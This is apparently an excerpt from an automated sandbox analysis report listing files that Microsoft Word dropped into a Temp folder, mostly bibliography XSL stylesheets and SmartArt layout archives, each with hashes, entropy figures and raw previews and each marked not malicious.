SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCDE80E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE80E.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCDE80F.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE80F.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCDE811.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE811.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCDE821.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE821.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDE822.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE822.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCDE835.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE835.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDE846.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE846.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCDE84A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE84A.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDE87A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE87A.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
